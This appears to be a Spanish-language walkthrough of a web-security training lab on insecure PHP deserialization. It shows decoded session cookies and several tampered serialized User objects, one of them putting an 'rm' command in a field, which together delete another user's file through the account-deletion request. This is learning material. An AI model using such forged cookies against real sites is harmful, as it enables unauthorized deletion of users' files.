🎋Laboratorio: Usando funcionalidad de la aplicación para explotar la desserialización insegura

  • Tome la cookie y la decodeé y solo fue necesario decodear a Base64 →

O:4:"User":3:{s:8:"username";s:5:"gregg";s:12:"access_token";s:32:"x76i002ssqdp7jok5az0681ar38qbcr8";s:11:"avatar_link";s:18:"users/gregg/avatar";}
O:4:"User":3:{s:8:"username";s:6:"carlos";s:12:"access_token";s:32:"x76i002ssqdp7jok5az0681ar38qbcr8";s:11:"avatar_link";s:26:"rm users/carlos/morale.txt";}

Ya sabemos que la ruta del avatar_link si se borra una cuenta tambien se borra la foto de perfil con ese directorio que se pone ahí, así que esa es la forma para eliminar el morale.txt del user carlos como lo haremos? tenemos que modificar el objeto serializado.

//JSON MODIFICADO:
O:4:"User":3:{s:8:"username";s:6:"carlos";s:12:"access_token";s:32:"x76i002ssqdp7jok5az0681ar38qbcr8";s:11:"avatar_link";s:23:"users/carlos/morale.txt";}

Aqui lo que pasa es que el request nos está devolviendo un error del access token, así que lo que haré será modificarlo por el tipo de dato del access_token por un integer para ver si así podemos validar y saltarnos ese token (como el lab anterior).

O:4:"User":3:{s:8:"username";s:6:"carlos";s:12:"access_token";i:0;s:11:"avatar_link";s:23:"users/carlos/home/morale.txt";}

Estuve viendo que el directorio es muy diferente al de gregg que el de carlos, el de gregg era tipo users/gregg/avatar.. pero el de carlos era home/carlos/morale.txt

O:4:"User":3:{s:8:"username";s:6:"carlos";s:12:"access_token";i:0;s:11:"avatar_link";s:23:"home/carlos/morale.txt";}
s:32:"x76i002ssqdp7jok5az0681ar38qbcr8";
Tzo0OiJVc2VyIjozOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJ4MXhmOWF6MjNpenczMnVxbWMwd2pwMjhuYTBldmtzcSI7czoxMToiYXZhdGFyX2xpbmsiO3M6MjM6Ii9ob21lL2Nhcmxvcy9tb3JhbGUudHh0Ijt9
O:4:"User":3:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"x1xf9az23izw32uqmc0wjp28na0evksq";s:11:"avatar_link";s:23:"/home/carlos/morale.txt";}

Lo que se puede hacer es mejor, ingresar como wiener tomamos el endpoint GET my-account/delete y modificamos la cookie, añadimos así s:11:"avatar_link";s:23:"/home/carlos/morale.txt"; y así luego cambiamos la petición a POST →

O:4:"User":3:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"x1xf9az23izw32uqmc0wjp28na0evksq";s:11:"avatar_link";s:23:"/home/carlos/morale.txt";}

Con esto nos podemos dar cuenta que no necesariamente tenemos que pone el nombre de carlos en el username para borrar el archivo morale.txt, como la logica se mantiene que si se elimina una cuenta la que sea no se valida que el avatar link el directorio coincida con el username entonces por ello por eso bastaba con solo cambiar el directorio de avatar_link.

Eso es todo, este laboratorio lo resolví exitosamente escuchando 1 Grado Más Frio - Zábaz

Last updated